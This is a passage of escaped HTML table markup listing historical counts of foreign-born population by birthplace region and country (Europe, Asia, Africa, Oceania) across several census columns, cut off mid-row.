    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,160&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,414&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;50&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;51&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Turkey in Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,257&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,284&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;32,230&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,910&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,839&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,205&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;302&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;128&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;106&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;51&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;52&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Yugoslavia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;211,416&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;169,439&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;52&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;53&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Eastern Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,483&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,433&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10,013&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;53&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;54&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Europe n.e.c.&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;14,772&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,205&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,858&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,251&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12,579&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,314&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,546&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,403&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;54&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;55&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Asia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;275,665&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;237,950&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;191,484&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;120,248&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;113,383&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;107,630&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;64,565&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;36,796&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,135&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;55&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;56&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Armenia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;32,166&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;36,628&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;56&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;57&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;China 1/&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;46,129&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;43,560&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;56,756&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;81,534&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;106,688&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;104,468&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;63,042&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;35,565&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;758&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;57&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;58&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;India&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,850&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,901&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,664&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,031&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,143&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,707&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;586&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;58&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;59&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Japan&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;70,993&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;81,502&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;67,744&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;24,788&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,292&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;401&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;73&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;59&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;60&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Palestine&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6,137&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,203&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;60&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;61&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Syria&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;57,227&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;51,901&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;61&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;62&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Turkey in Asia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;46,654&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11,019&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;59,729&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;62&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;63&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Asia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10,509&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,236&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,591&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11,895&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,260&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,054&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;864&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,231&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;377&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;63&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;64&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Africa&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;18,326&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;16,126&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,992&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,538&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,207&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,204&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,657&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;526&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;551&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;64&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;65&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Africa excl. Atlantic Islands&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,859&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,781&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,992&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,538&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,207&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,204&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,657&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;526&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;551&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;65&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;66&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Atlantic Islands&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,467&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;;1&quot;&gt;10,345&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&amp;quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;66&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;67&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Oceania&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;17,343&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;14,626&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11,450&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,820&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,353&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6,859&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,028&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,140&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;588&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;67&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;68&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Australia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12,816&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10,914&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,035&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6,807&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,984&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,906&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,118&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,419&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;68&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;69&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sandwich Islands (Hawaii)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
